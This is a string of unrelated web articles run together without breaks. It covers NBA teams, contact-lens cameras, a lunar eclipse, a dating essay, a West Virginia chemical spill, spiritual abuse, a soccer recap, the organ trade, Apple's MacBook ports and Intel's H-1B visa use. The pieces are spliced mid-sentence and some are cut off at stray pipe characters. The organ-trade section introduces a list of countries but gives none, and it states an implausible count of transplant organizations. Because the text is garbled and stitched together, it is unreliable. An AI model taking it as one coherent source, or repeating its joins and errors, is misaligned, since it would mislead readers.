Nevertheless, it’s hard to shake the feeling that the Spurs will come back to Earth quite a bit following a 67-win season and it’s hard not to ask whether this is a team that should still be viewed as a title contender. Even with Duncan, San Antonio was eliminated in the first round in 2015 and the second round in 2016, and the age-related decline that should hit the likes of Parker, Ginobili and Gasol could serve as a ceiling on this year’s group.
Although the Spurs’ front office made no major, lasting mistakes and plenty of smart plays this summer, there was no way for the franchise to offset or overcome Duncan’s retirement. San Antonio had no choice but to bite the bullet and get on with what’s next. — B.G.Did he just wink at me, or was he turning on the tiny cameras embedded in his contact lenses?
You may soon have reason to wonder. Sony and Google are developing contact lens cameras that can take photos and, possibly, video, with the blink of an eye.
Technology is rushing that way. Snap has already introduced sunglasses that record 10-second video clips and send them to Snapchat, which plays 10 billion videos a day.
Welcome to the the runaway converge of cameras, social media, and platforms that range from a person’s eyes, skin and |
so called "blood moons," a phrase that has become popular to describe the four lunar eclipses we have seen in 2014 and 2015. Scientifically this is known as a "lunar tetrad."
Another supermoon eclipse will not occur again until 2033
How to watch the supermoon eclipse
The total lunar eclipse will last about one hour and 12 minutes, according to NASA. It will be seen in North and South America, as well as Europe, Africa, parts of West Asia and the eastern Pacific.
However, skywatchers can camp out early for the partial lunar eclipse, which will begin at 8 p.m. ET in the United States. As the planet's shadow dims the supermoon, this will create dramatic viewing opportunities for observers. The eclipse will reach its peak during the 10 o'clock hour, giving the supermoon a reddish, copper-like hue. The event should end after midnight.
Unlike solar eclipses, which need to be viewed with special eye gear, the lunar eclipse can be seen with the naked eye after nightfall.
People interested in seeing the event can simply step outside Sunday evening to see the lunar phenomenon. For a better view, some parks and planetariums in the United States will be scheduling viewing parties.
See the forecast for your region to learn whether your location will be able to view the eclipse.
How to watch the eclipse online
If your region falls victim to cloud coverage, which even telescopes can't penetrate through, or you live in an area that won't see the total lunar eclipse, there are options available to watch the event free online.
NASA TV will be streaming video of Sunday's supermoon eclipse starting at 8 p.m. ET. It will broadcast from the Marshall Space Flight Center in Hunstville, Alabama, with a live feed from the Griffith Observatory in Los Angeles, California.
The feed will stay active until 11:30 p.m ET. Observers can ask a NASA solar physicist questions about the eclipse using the hashtag #AskNASA on Twitter.
Virtual Telescope, an organization that has powerful robotic telescopes, will also offer a live feed of the event. An astrophysicists will be on hand to provide commentary for the eclipse.
Sky and Telescop e will begin its live feed at 9 p.m. ET. As viewers watch the moon glide in and out of Earth's shadow, the publication plans to have a line up of special guests who will provide informative background and analysts of the event.
Slooh, which dubs itself as the world's largest community of space watchers, will broadcast a live feed as well.
Why this event is special
Since the orbit of the moon is not a perfect circle, there are times when the moon is closer to our planet. This is known as perigee. Sunday's supermoon will technically be a perigee full moon, the closest full moon of the year, NASA says.
"There's no physical difference in the moon," said Noah Petro, scientist for the Lunar Reconnaissance Orbiter at NASA's Goddard Space Flight Center in Greenbelt, Maryland. "It just appears slightly bigger in the sky. It's not dramatic, but it does look larger."
Lunar eclipses are common and happen twice a year. However, there are some end-times theorists who view Sunday's event as a signal for the end of the world.
Petro explained that the combination of a supermoon and eclipse happening at the same time is just planetary dynamics. "When the rhythms line up, you might get three to four eclipses in a row or a supermoon and an eclipse happening," he said.
But the last time a supermoon eclipse occurred was in 1982, making Sunday's rare event worth staying up past bedtime.Sports Illustrated's Ian Thomsen was a guest on Comcast SportsNet New England's "Sports Tonight" and he says that he believes the Boston Celtics will hire longtime San Antonio Spurs assistant Brett Brown as the next head coach of the team.
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(At the 3:45 mark of the video above, Ian Thomsen explains why Brett Brown should be the next head coach.)
Brett Brown has spent the majority of his career coaching in Australia. Before being hired by the Spurs in 1998, he spent 14 seasons coaching in the Australian National Basketball League, accumulating 149 victories. After working in the Spurs' basketball operations department, he returned to Australia for three years before rejoining the Spurs in 2002. He spent five years as the Spurs' director of player development before being named an assistant coach before the 2006-2007 season. Brown also spent eight seasons as the Australian National team's assistant coach before being hired as the head coach in 2009.
Both the Denver Nuggets and Philadelphia 76ers have both been reported to have had interest in him but it's possible that Brown's ties to the New England area may draw him to the Celtics. Brett Brown is a native of South Portland, Maine, and spent four years playing point guard at Boston University.
Considering Brown's impressive resume as both an assistant and head coach, it's an added bonus that he spent five years as a director of player development for the Spurs. This skill could pay dividends for the Boston Celtics since they will be going through a rebuilding period sooner rather than later. Until a significant report comes out that the Celtics are interviewing Brown, take this with a grain of salt, but the fact there my be interest in a coach of his pedigree is extremely exciting.
Follow @Kevin__OConnorAfter being in a relationship for two years (with another one right before that), I thought that being single would be easy and that having my relationship removed would be a relatively painless procedure. It would be like getting your spleen taken out. "What does that thing even do, anyway?" I would laugh, throwing caution to the wind as I lived out my Very Mary Richards life.
However, this was not to be the case.
I.
The first time I encountered an eligible mate was on the train about two months after my breakup. I was listening to Big Star's "September Gurls," which I did a lot of then, and thinking about ordering a pizza when I got home, which I did a lot of, too. And out of nowhere, the handsome man standing next to me on the train reached down and grabbed my hand, which he held for the rest of the trip. It was one of the strangest and most unexpectedly tender things that's ever happened to me, and we didn't say a word to each other until the train crowd dissipated and we were mostly alone in the car. I told him that I had to get off at the next stop, but he should call me. I wrote my number on the back of a fortune cookie fortune that was hanging out in my pocket.
But after getting off the train, I realized I had made a grave error. Instead of giving him my number, I accidentally gave him the number of my hometown pizza place, which had been on my mind in all this pondering of pizza. The restaurant's name is LaRosa's. If he called them, he would have been greeted by their catchy yet suggestive slogan: "Tastes so good, you want it bad."
This single thing wasn't going to be as easy as I thought.
II.
When I lived in Paris last year, I worked at a local bookshop as a way to meet people and brush up on my French -- but only got good at stacking well-known American novels, explaining to people that, yes, I spoke English and doing lots of pointing. "Où se trouve la science-fiction?" could be answered with a simple finger, the universal language of linguistic inadequacy. But every once in a while, I'd strike up a conversation with an interesting local or a sexy tourist just passing through -- ones I would try to dupe into thinking I was attractive, bohemian and cool. I'm bisexual, so there were lots of opportunities to fail at this endeavor.
My favorite was a Londoner and staunch Austenite who expressed an interest in Marcel Proust and the classics but left with an armful of Gary Shtyengart, Zadie Smith and Nick Hornby -- after we found out we shared a love of the movie High Fidelity. I wanted to put my mouth on her mouth for days.
However, I realized I'd forgotten to ask her name, which is a bad habit of mine. She said it was Nell and stuck out her hand, just like in the movie version of our falling in love. I then replied, "Oh, Nell. I love that name. Like the movie Nell!" She was silent, so I just assumed that she hadn't seen it. So I explained that the movie was about a wild child who shows her breasts to strangers and struggles with acclimating to a society where people don't flash people in public and spin around while singing in their made-up, forest-people language. "It has Jodie Foster in it," I told her.
She looked confused, so I moved on from my plot summary and told her that my name was Nico. Nell shouted, "That's so awesome! There are tons of Nells." Then, because I hadn't had enough self-sabotage, I decided to respond with shooting our conversation in the face: "You could always kill all the other Nells, like Jet Li in that movie where he has to take out all the other Jet Lis... so he can be the one."
She looked incredibly confused and had one of those looks on her face like she couldn't possibly think of what to say to me. So I sent Nell back to the wilds of Paris. I shook her hand, pointed to the science-fiction section and went back to The Grapes of Wrath.
III.
Shortly after this, my roommate decided to take pity on me and hook me up with her friend, whom we'll call "Benoit." I wasn't that into him, but it was France, and all the romantic France things and baguettes and shit made me horny. So I shaved my chest, put on some clean underwear and asked him over to watch Midnight in Paris, which is just about the most cliché thing I could have done (#touristalert). However, he acquiesced because he's a Woody Allen fan -- like most every European I met. (They're good like that.) He brought wine, and I made hummus, which is how I attract all potential mates -- with sexy chickpea breath.
We had settled down to a relaxing evening of watching Owen Wilson's girlfriend be mean to him, but when the movie started, so began the gorgeous opening sequence -- which is like a mini tone poem composed of recognizable Paris landmarks. "There's the Champs-Élysées! Look, the Arc de Triomphe!" one might exclaim. Instead, I shouted, "Hey, I peed on that building!"
I would be eating hummus for one that evening.
IV.
When I got back from Paris and settled back into Chicago, one of the first things I did was attend a local showtunes night, as is my way. I met a cute guy there who was a waiter at a posh restaurant I'd never heard of -- because I'm a writer and only get to eat things that have "ramen" in the title. I liked him immediately, especially the way he laughed at all my weird jokes and played along when I hit on him using lines from Fatal Attraction after I found out his name. "I will not be ignored, Dan! This could be my last chance to have a child!" Clearly, I'm not a lesson learner.
After we grabbed two stools at a quieter part of the bar to get a little more "us space" and ordered two gin-and-tonics, I decided I wanted to know about his life and cut to the core of Dan. Who is Dan? What are his hopes and dreams? So, I asked him what he went to college for. He said he attended the University of Illinois for psychology. I thought that was interesting, because when you're into someone everything is interesting, so I shouted, "That's interesting! What do you plan to do with that?"
I thought this would lead into a discussion about how he wants to go back and get his master's in social work or plans on joining the Peace Corps to be young, idealistic, make a difference and do lots of things that involve mosquito bites, growing your hair out and Karl Marx. Instead, his brow furrowed, and he sat in silence, looking at me intensely. After a long pause, he said, very slowly and deliberately, "I plan to wait tables." Because I was totally unprepared for this scenario and am not a great improviser, I shouted, "Oh! That's interesting!" It was the last thing I said and sounded good then, so why not again? I wanted to die.
I ordered another gin and tonic and then asked the bartender if I could get another for the road, in a "to-go cup or something." They couldn't do that.
V.
Some months later I was sitting in a local Caribou Coffee reading a copy of Jonathan Franzen's Freedom that I picked up in Paris and still hadn't finished. (I have a bad habit of not finishing books I start. Infinite Jest, it's just never gonna happen for us.) Across from me sat a beautiful specimen of a human man who looked a little like Jean Dujardin and (quelle chance!) was speaking in fluent French into his phone. I decided to scoot up a little closer to him so that I could casually strike up a conversation in which I help him locate the science-fiction section. However, the moment I moved my butt, a giant, unexpected fart came out. Jean looked at me, giggled and went back to his conversation, probably to discuss my anal acoustics.
And I still didn't fucking finish Freedom.
VI.
This Thanksgiving I was at the grocery store picking up Brussels sprouts (which are criminally underrated, in my opinion) for my first queer turkey day feast. I didn't get to have Thanksgiving last year, because of France. I'd initially invited some of my French friends over for a not-Thanksgiving Thanksgiving, one that would stave off any homesickness I'd been feeling with feasting and copious cigarette smoking. However, by the time they came over to help me prepare, it was too late, and no one felt like cooking, so we just got drunk and watched The Big Bang Theory. Just like the Pilgrims intended.
I was looking forward to this year's Thanksgiving as a summation of the almost-year I'd been stateside and a reminder of all the little things I'd missed while I was gone last year: the love of my community and the ritual observance of overconsumption. I hoped this year would be a toast to a new me. The Year of Stacy might almost be over, but the Year of Nico could be just around the corner. Or the world could end in a ball of Mayan flames.
When I walked in the store -- coffee in hand and preparing to take the world by storm -- I locked eyes with a cute grocer who was stocking canned yams on the shelf. He smiled at me. I bashfully looked down at my feet and then coyly went to take a sip of my coffee, as if to say, "I'm single and secretly slutty." Instead, I accidentally threw hot coffee all over my face.
I then realized I'm probably going to be single forever, but you know what? Come at me, singledom, 'cause I don't even care. I have no shame, but I've got coffee. I've got great friends to overeat with. I've got pizza. And I'll always have that building I peed on in Paris.A worker patches a leak at the Freedom Industries site where 10,000 gallons of MCHM leaked into the Elk River in January. Tom Hindman/Getty Images
Seven weeks after a tank holding a coal-cleaning chemical leaked into the Elk River in West Virginia, contaminating the water supply for 300,000, efforts to prevent similar events in the future may be stalling.
A West Virginia legislative committee changed a proposal meant to stiffen aboveground storage tank regulations and safeguard water systems against chemical spills to exempt tanks holding less than 1,310 gallons and facilities that mix or make chemicals.
The tank that spilled the coal cleaner MCHM into the Elk River on Jan. 9 held approximately 10,000 gallons.
The bill would also require public water systems that use water from lakes, rivers and streams to develop protection plans, potentially with money from state reserves.
But there is concern that legislators are running out of time. With a week remaining before the close of the current legislative session, the bill must pass two committees before coming to a House vote. The Senate would need to agree on any House changes. The bill has already been completely revamped by both the state’s House and Senate, and some lawmakers are urging more discussion.
Twenty-seven state delegates have asked Gov. Earl Ray Tomblin to convene a special session to allow for more debate on the bill, a move that angered some.
“I regret that these members want to give up on passing a bill during the regular session when we still have plenty of time to perfect it,” House speaker Tim Miley said in a press release.
Previous iterations of the bill were criticized for being filled with potential loopholes that would allow aboveground storage tanks like the one owned by Freedom Industries that leaked into the Elk River, to remain largely uninspected.
Meanwhile, some lawmakers are asking the Centers for Disease Control and Prevention to study MCHM and its effects on human health.
The CDC was criticized after the spill for deeming Elk River water drinkable without citing comprehensive studies on the toxicity of MCHM.
The state's five-member Congressional delegation sent a letter to the CDC Thursday backing Gov. Tomblin's request made last week for more toxicology studies and urged that the CDC analyze information from patients with symptoms that could have come from contact with the chemical.
It’s unclear what role Freedom Industries has played in the cleanup of the spill. This week, the company’s leaders defended themselves in court in front lawyers representing hundreds of creditors. The company has declared bankruptcy.
At a meeting on Tuesday, administered by a U.S. Department of Justice official, Freedom Industries President Gary Southern and Chief Financial Officer Terry Cline answered questions on company finances.
After the hearing, Southern told reporters he's "absolutely committed" to cleaning up environmental damage and finding jobs for 51 employees as the company winds down operations.
Al Jazeera and wire servicesIn this season of exposure, I'm tackling spiritual abuse. Could you be a victim?
Victims of abusive church authority structures may not even realize what they are enduring until they escape its grip. Spiritual abuse is often subtle. Christian cult leaders don't always operate like Jim Jones. Controlling ministries tend to hide behind the guise of spiritual coverings. And far too many outsiders are not willing to even question the messages and practices of such churches. It takes lovers of truth with spiritual discernment to recognize the sometimes-subtle signs of abusive churches. And it takes courage to confront it. What exactly is spiritual abuse? Jeff VanVonderen, co-author of the classic book The Subtle Power of Spiritual Abuse, explains it this way: "Spiritual abuse occurs when someone in a position of spiritual authority... misuses that authority placing themselves over God's people to control, coerce or manipulate them for seemingly godly purposes which are really their own." Spiritual abuse is hardly a new phenomenon. You can find instances in the Bible of spiritual leaders exploiting people to build their kingdoms. In Jeremiah 8:11 (NIV) the Lord called out the abuse of prophets and priests, saying, "They dress the wound of my people as though it were not serious."
Watch this video for a strong teaching on spiritual abuse, and a prayer to break free, in Jesus' name.
Jennifer LeClaire is senior leader of Awakening House of Prayer in Fort Lauderdale, Florida, founder of the Ignite Network and founder of the Awakening Blaze prayer movement. She is author of over 25 books. Find her online at jenniferleclaire.org or email her at [email protected].
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Great Resources to help you excel in 2019! #1 John Eckhardt's "Prayers That..." 6-Book Bundle. Prayer helps you overcome anything life throws at you. Get a FREE Bonus with this bundle. #2 Learn to walk in the fullness of your purpose and destiny by living each day with Holy Spirit. Buy a set of Life in the Spirit, get a second set FREE.
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See an error in this article? Send us a correctionOct. 6, 2013
Box Score | Photo Gallery
BLOOMINGTON, Ind. - Goals from Penn State in 15th and 25th minutes were too much for the Indiana men's soccer team (4-6-1, 1-1 B1G) to overcome in a 2-0 loss to the Nittany Lions (7-3-1, 2-0 B1G) Sunday afternoon on Jerry Yeagley Field at Bill Armstrong Stadium.
As has been the case most of the season, Indiana started the match strong, controlling the ball in the first 10 minutes and keeping the Nittany Lions pinned in their own half of the field. In the sixth minute, Nikita Kotlov had a header that went right into the arms of Penn State goalkeeper Andrew Wolverton.
Michael Soderlund answered the call in the Indiana goal when Martin Seiler ripped a line-drive shot that required a leaping punch over from the sophomore goalkeeper.
Penn State slowly found its footing and put home what would be the game-winning goal at 14:31 off the foot of Jordan Tyler. The ball was played near the end line and has Harrison Petts tried to cover and let the ball roll out for a goal kick. Grant Warming snuck in there and got a cross off into the box. Tyler had an easy shot for his second score of the season.
The Nittany Lions added an insurance goal almost exactly 10 minutes later as Warming again assisted on the play, sending a ball in that deflected to Owen Griffith. Griffith placed a curling shot into the upper right, his first goal of the season and a 2-0 lead for the Nittany Lions.
Indiana held a slim 7-6 advantage in shots at the halftime break and would finish up in that category by an 18-7 margin, allowing just one Penn State shot in the second half.
Despite maintaining possession for most of the final 45 minutes of play, the Hoosiers could never break through a stingy PSU defense. The Hoosiers had a chance to cut the lead to one goal when with 34:24 to play Tommy Thompson was taken down in the penalty area and the Hoosiers were awarded a penalty kick. The freshman stepped up to take the shot, but sent his attempt right at Wolverton for the save.
Indiana is 0-for-2 on penalty kick attempts this season.
In the 69th minute, A.J. Corrado took a shot from the top of the 18 that forced Wolverton to make a diving stop to his right. The Penn State goalkeeper was up to the task Sunday afternoon, finishing with five saves to go along with one team save. Thompson led the match with five shot attempts, two of which were on goal.
Indiana is back in action on Friday, Oct. 11 as it takes on the Wisconsin Badgers in Madison, Wis. Game time is 8:30 p.m. ET.Buying and selling of human body parts, usually for transplantation
Organ trade is the trade of human organs, tissues, or other body products, usually for transplantation. There is a global need or demand for healthy body parts for transplantation, far exceeding the numbers available.
As of 2018, about 114,000 people were reported to be waiting for a new organ in the United States.[1] On average, an individual will wait three and a half years for an organ to become available for transplant.[2] There is a worldwide shortage of organs available for transplantation,[3] yet commercial trade in human organs is illegal in all countries except Iran. Despite these prohibitions, organ trafficking and transplant tourism remain widespread. The data on the extent of the black market trade in organs is difficult to obtain. The question of whether to legalize and regulate the organ trade to combat illegal trafficking and organ shortage is hotly debated. This discussion typically centers on the sale of kidneys by living donors, since human beings are born with two kidneys but need only one to survive.
Legal organ trade [ edit ]
Iran [ edit ]
Iran is the only nation that allows organs to be bought and sold for money. Consequently, the country currently has no waitlists for kidney transplantation.[4] The Charity Association for the Support of Kidney Patients (CASKP) and the Charity Foundation for Special Diseases (CFSD) control the trade of organs, with the support of the government. These nonprofit organizations match donors to recipients, setting up tests to ensure compatibility. The compensation paid to the donor varies, but an average kidney donor is paid $1,200.[5] Some donors are also offered employment opportunities. Charity organizations support recipients that cannot afford the cost of the organ.[6]
Iran does place restrictions on the commercial organ trade in an attempt to limit transplant tourism. The market is contained within the country; that is, foreigners are not allowed to buy the organs of Iranian citizens. Additionally, organs can only be transplanted between people of the same nationality – so, for example, an Iranian cannot purchase a kidney from a refugee from another country.[5]
Proponents of legalized organ trade have hailed the Iranian system as an example of an effective and safe organ trading model. An article in the Clinical Journal of the American Society of Nephrology notes that the Iranian model has avoided many problems associated with organ trade. The article points out that every other solution attempted in other developing countries has failed even to slow down the continual growth of organ transplant wait lists.[4]
Some critics argue that the Iranian system is in some ways coercive, as over 70% of donors are considered poor by Iranian standards.[7] There is no short-term or long-term follow-up on the health of organ donors.[8] In fact, there is evidence that Iranian donors experience highly negative outcomes, both in terms of health and emotional well-being.[9]
Organ prices [ edit ]
In Iran's legal markets, the price of a kidney ranges from $2,000 to $4,000.[10][11] On the black market, the same kidney can be worth over $160,000, with most of proceeds taken up by middlemen.[12] The typical price paid to donors on the black market is thought to be about US$5,000, but some donors receive as little as $1,000.[13] In addition, these black market transplants are often dangerous to both the donor and recipient, with some contracting hepatitis or HIV.[10]
Government compensation for donors [ edit ]
Australia and Singapore recently legalized monetary compensation for living organ donors. Proponents of such initiatives say that these measures do not pay people for their organs; rather, these measures merely compensate donors for the costs associated with donating an organ.[14] For example, Australian donors receive 9 weeks' paid leave at a rate corresponding to the national minimum wage.[15] Kidney disease advocacy organizations in both countries have expressed their support for this new initiative.[16][17]
Although American federal law prohibits the sale of organs, it does permit state governments to compensate donors for travel, medical, and other incidental expenses associated with their donation. In 2004, the state of Wisconsin took advantage of this law to provide tax deductions to living donors to defray the costs of donation.[18]
Kidney paired donations [ edit ]
Although all nations apart from Iran prohibit financial transactions for organs, most permit "paired donations" or kidney swaps across multiple parties. Paired donations address the problem of tissue compatibility in organ transplants.[19] For example, you may wish to donate a kidney to your spouse but cannot to due to antibody incompatibilities. However, your kidney is a good match for a stranger who happens to be married to someone whose kidney would be compatible with your spouse. In a paired donation, you would agree to donate your kidney to the stranger, in exchange for the stranger's spouse promising to donate a kidney to your spouse.
Such paired donations are arguably a form of organ sale - instead of purchasing a kidney for a loved one with cash, a person pays for it with her own kidney.[20] In fact, in the United States, the spread of kidney paired donations was initially stymied due to language in the National Organ Transplantation Act barring the transfer of human organs for "valuable consideration".[20] It was only after the law was amended to specifically allow for kidney paired donations that the practice became popular.
Illegal organ trade [ edit ]
According to the World Health Organization (WHO), illegal organ trade occurs when organs are removed from the body for the purpose of commercial transactions.[21] Despite ordinances against organ sales, this practice persists, with studies estimating that anywhere from 5% to 42% of transplanted organs are illicitly purchased.[22][23][24] Research indicates that illegal organ trade is on the rise, with a recent report by Global Financial Integrity estimating that the illegal organ trade generates profits between $600 million and $1.2 billion per year, with a span over many countries. These countries include, but are not limited to:
Criminal networks increasingly engage in kidnappings, especially of children and teenagers, who are then taken to locations with medical equipment. There they are murdered and their organs harvested for the illegal organ trade.[47] Poverty and loopholes in legislation also contribute to the illegal trade of organs.[48]
Though claims of organ trafficking are difficult to substantiate due to lack of evidence and reliable data, cases of illegal organ trade have been tried and prosecuted. The persons and entities prosecuted have included criminal gangs,[44][49] hospitals,[50] third-party organ brokers,[51] nephrologists,[52] and individuals attempting to sell their own organs.[53]
Transplant tourism [ edit ]
The United Network for Organ Sharing defines transplant tourism as "the purchase of a transplant organ abroad that includes access to an organ while bypassing laws, rules, or processes of any or all countries involved."[54] The term "transplant tourism" describes the commercialism that drives illegal organ trade, but not all medical tourism for organs is illegal. For example, in some cases, both the donor and the recipient of the organ travel to a country with adequate facilities to perform a legal surgery. In other cases, a recipient travels to receive the organ of a relative living abroad.[54] Transplant tourism raises concerns because it involves the transfer of healthy organs in one direction, depleting the regions where organs are bought. This transfer typically occurs in trends: from South to North, from developing to developed nations, from females to males, and from people of color to whites.[9] In 2007, for example, 2,500 kidneys were purchased in Pakistan, with foreign recipients making up two-thirds of the buyers.[21] In the same year, in Canada and the United Kingdom, experts estimated that about 30 to 50 of their citizens illegally purchased organs abroad.[22]
The kidney is the most commonly sought-after organ in transplant tourism, with prices for the organ ranging from as little as $1,300[9] to as much as $150,000.[54] In fact, reports estimate that 75% of all illegal organ trading involves kidneys.[55] The liver trade is also prominent in transplant tourism, with prices ranging from $4,000[56] to $157,000.[57] Though livers are regenerative, making liver donations non-fatal, they are much less common due to an excruciating post-operative recovery period that deters donors. Other high-priced body parts commonly sold include corneas ($24,400) and unfertilized eggs ($12,400), while lower-priced bodily commodities include blood ($25–$337), skin ($10 per square inch), and bones/ligaments ($5,465).[57] While there is a high demand, and correspondingly a very high price, for vital organs such as hearts and lungs, transplant tourism and organ trafficking of these parts is very rare due to the sophisticated nature of the transplant surgery and the state-of-the-art facilities required for such transplants.[57]
Global reaction [ edit ]
The international community has issued many ordinances and declarations against the organ trade. Examples include the World Medical Authority's 1985 denouncement of organs for commercial use; the Council of Europe's Convention on Human Rights and Biomedicine of 1997 and its 2002 Optional Protocol Concerning Transplantation of Organs and Tissues of Human Origin; and the Declaration of Istanbul on organ trafficking and transplant tourism.[58] The Declaration of Istanbul defines transplant commercialism, organ trafficking, and transplant tourism.[28] It condemns these practices based on violations to equity, justice, and human dignity.[23] The declaration aims to promote ethical practices in organ transplantation and donation on an international level.[28] It is nonbinding, but over 100000 transplant organizations support its principles, including countries such as China, Israel, the Philippines, and Pakistan, which strengthened their laws against illegal organ trading after the declaration's release.[28]
The World Health Organization (WHO) has also played a prominent role in condemning the illegal organ trade. The WHO first declared organ trade illegal in 1987, stating that such a trade violates the Universal Declaration of Human Rights.[28] It also condemns the practice on the grounds that it "is likely to take unfair advantage of the poorest and most vulnerable groups, undermines altruistic donation and leads to profiteering and human trafficking.”[28] In 1991, at the 44th World Health Assembly, it approved nine guiding principles for human organ transplant. The principles clearly stated that organs cannot be the subject of financial transactions. On May 22, 2004, these guidelines were slightly amended at the 57th World Health Assembly. They are intended for the use of governments worldwide.[21] These global initiatives have served as a helpful resource for establishing medical professional codes and a legal framework for the issue, but have not provided the sanctions required for enforcement.[54]
Illicit organ trade in specific countries [ edit ]
China [ edit ]
Since the late 1980s, China relied on executed prisoners to provide the bulk of its transplanted organs.[59] This ready source of organs made it second only to the United States for numbers of transplantations peformed.[60] There is evidence that the government attempted to downplay the scope of organ harvesting through confidentiality agreements[61] and laws, such as the Temporary Rules Concerning the Utilization of Corpses or Organs from the Corpses of Executed Prisoners.[62] Critics further allege that organs were not distributed on the basis of need, but rather allocated through a corrupt system or simply sold to wealthy Chinese and foreign individuals.[60] One source estimates that China executed at least 4,000 prisoners in 2006 to supply approximately 8,000 kidneys and 3,000 livers for foreign buyers.[23] China was also accused of fueling its transplant industry with organs harvested from living Falun Gong practitioners. The Kilgour–Matas report[63] concluded that China was guilty of this practice; however, the report has come under criticism for its methodology, by both Chinese and Western sources.[60]
In the 2000s, the country came under increasing international and domestic pressure to end the practice of using organs from prisoners. Since then, it has implemented a number of reforms addressing these allegations. It has developed a registry of voluntary, non-incarcerated donors; it is believed that these living and deceased donors supply most of the organs transplanted in the country today.[60] China also standardized its organ collection process, specifying which hospitals can perform operations and establishing the legal definition of brain death. It banned foreign transplant patients.[64] And in 2007, it formally outlawed the sale of organs and collecting a person's organs without their consent.[65][54]
That said, many non-profit organizations and international jurists are skeptical that China has truly reformed its organ transplant industry.[66] In particular, although the number of organs taken from prisoners has dropped dramatically, there is no prohibition on collecting organs from deceased inmates who sign agreements purporting to donate their organs. There continue to be reports of prison officials offering death row inmates the opportunity to "voluntarily" donate their organs upon death, with the implication that those who decline may get worse treatment from their jailers.[60]
India [ edit ]
Before 1994, India had no legislation banning the sale of organs.[67] Low costs and high availability brought in business from around the globe, and transformed India into one of the largest kidney transplant centers in the world.[68] However, several problems began to surface. Patients were often promised payments that were much higher than what they actually received.[69] Other patients reported that their kidneys were removed without their consent after they underwent procedures for other reasons.[70]
In 1994, the country passed the Transplantation of Human Organs Act (THOA), banning commerce in organs and promoting posthumous donation of organs.[71] The law's primary mechanism for preventing the sale of organs was to restrict who could donate a kidney to another person. In particular, the THOA bars strangers from donating to one another; a person can only donate to a relative, spouse, or someone bound by "affection." In practice, though, people evade the law's restrictions to continue the trade in organs. Often, claims of "affection" are unfounded and the organ donor has no connection to the recipient.[72] In many cases, the donor may not be Indian or even speak the same language as the recipient.[73] There have also been reports of the donor marrying the recipient to circumvent THOA's prohibition.[74]
The Philippines [ edit ]
Although the sale of organs was never formally legal in the Philippines, prior to 2008 the practice was tolerated and even endorsed by the government.[75] The Philippine Information Agency, a branch of the government, even promoted "all-inclusive" kidney transplant packages that retailed for roughly $25,000. The donors themselves often received as little as $2,000 for their kidneys.[76] The country was a popular destination for transplant tourism. One high-ranking government official estimated that 800 kidneys were sold annually in the country prior to 2008,[77] and the WHO listed it as one of the top 5 sites for transplant tourists in 2005.[78]
In March of 2008, the government passed new legislation enforcing the ban on organ sales banned the sale of organs. After the crackdown on the practice, the number of transplants has decreased from 1,046 in 2007 to 511 in 2010.[79] Since then, the government has taken a much more active stance against transplant tourism.
Impact on the poor [ edit ]
Data from the World Health Organization indicates that donors in the illegal organ trade are predominantly impoverished people in developing nations. In one study of organ donors in India, |
dedicated charging port. That’s because the new USB-C connector, roughly the size of the lightning port on newer iPhones and iPads, can be used in a variety of ways: to connect to USB devices, TVs, monitors, and power. You just need the right adapter.
Alice Truong/Quartz The lone USB-C port on the left side of the new MacBook.
There are bound to be some grievances with this, starting with the cost. Apple reps who demonstrated the new MacBook’s features at Apple’s media event yesterday tell Quartz that the adapters will be sold separately. One USB-C accessory with ports for power, HDMI, and USB costs $79, and it only lets people connect to one USB device at a time.
Alice Truong/Quartz USB-C adapter for power, HDMI, and USB
Then, there’s the problem of remembering the darn thing. Without the adapter, a power cable (or whatever else you might want to plug into the computer) is useless—although Apple would likely counter this by touting the all-day (read: nine hours of web browsing) battery life on the new MacBook. Apple used its space-saving design tweaks to pack the machine with sheets of batteries to take advantage of any available space.
Before yesterday, it was unfathomable to think people no longer needed a dedicated power port for their laptops. But Apple has a history of training consumers away from old habits and nudging us in new directions that seem obvious in hindsight.
For example, until Jobs explicitly took these things away, who among us realized we in fact had no need for floppy disk drives (iMac G3, 1998), phone jacks (MacBook, MacBook Pro 2006), ethernet ports (MacBook Air 2008), or CD/DVD players (MacBook Air 2008)?
Now, with the MacBook, Apple is upending the idea of the dedicated charging port. (It also is perhaps telling that the company doesn’t yet sell a USB-C ethernet adapter. Could this be a harbinger of ethernet’s obsolescence?)
By further reducing the number of ports on its laptops, Apple is aligning the MacBook with its mobile devices, which rely on a single port for charging and data transfer. Until new charging technologies are developed, the power cord isn’t going anywhere. But as batteries for portable devices get smaller and cram in more capacity, the idea of bringing along a power cord could one day seem a dated concept.Technology giant Intel announced April 19 it will fire 12,000 skilled U.S.-based professionals — after already swelling its workforce with 14,523 requests in Washington D.C. since 2010 for visas to import foreign professionals through the controversial H-1B and Green Card programs.
The company said the layoffs were part of a restructuring plan to help shift its focus from desktop PCs to mobile devices. But the company is very profitable, and first-quarter 2016 profits were 14 percent above predictions.
Amid the layoffs, Intel is one of the nation’s largest users of the H-1B outsourcing program which allows companies such as Disney and Abbot Laboratories to replace white-collar American professionals with cheaper professionals from India, China, and other countries.
Intel has insisted that it cannot find enough skilled American workers to fill its needs. From 2010 to 2015, it filed requests for up to 8,351 H-1B visas, plus 5,172 applications for permanent Green Cards for its foreign employees, according to MyVisasJobs.com. That data shows the company sought to hire 14,523 foreign professionals instead of many Americans eager to work at Intel.
The MyVisaJobs.com site, which presents data prepared by government agencies, also shows that the company even sought work visas for 445 people who arrived in the country as students carrying F-1 visas.
The number of foreign professionals hired is uncertain. However, the MyVisaJobs.com data shows that 2,654 Green Card requests were approved in the five years between 2015 and 2011. Also many of the H-1B requests were made when the economy was stalled, and so many were likely granted. If one-third of its H-1B visa-requests were granted, then Intel was able to hire 3,000 H-1B workers from 2010 to 2015.
Intel’s press aides declined to respond to calls and emails from Breitbart.
Intel’s hires are not lower-status “tech workers,” such as software-testers or software-maintenance programmers. Instead, Intel imported foreign college-graduates for prestigious jobs such as electronics engineers, industrial engineers or computer and information research scientists. These H-1B workers can stay for six years, or longer, and some get Green Cards, which grant lifetime work permits.
There’s no shortage of U.S. engineers looking for jobs at Intel.
The U.S. marketplace includes many Americans — often older and experienced, but who ask for higher wages to pay for their families — who are eager to work at Intel’s outsourced jobs. For example, on April 21, Indeed.com offered resumes of 16,576 people seeking jobs as electronics engineers in Santa Clara, Calif., the company’s home town. They included Robert Hill of Cupertino, Calif., Ray Chen in San Mateo, Calif., and Aubrey Calder in Mountain View., Calif.
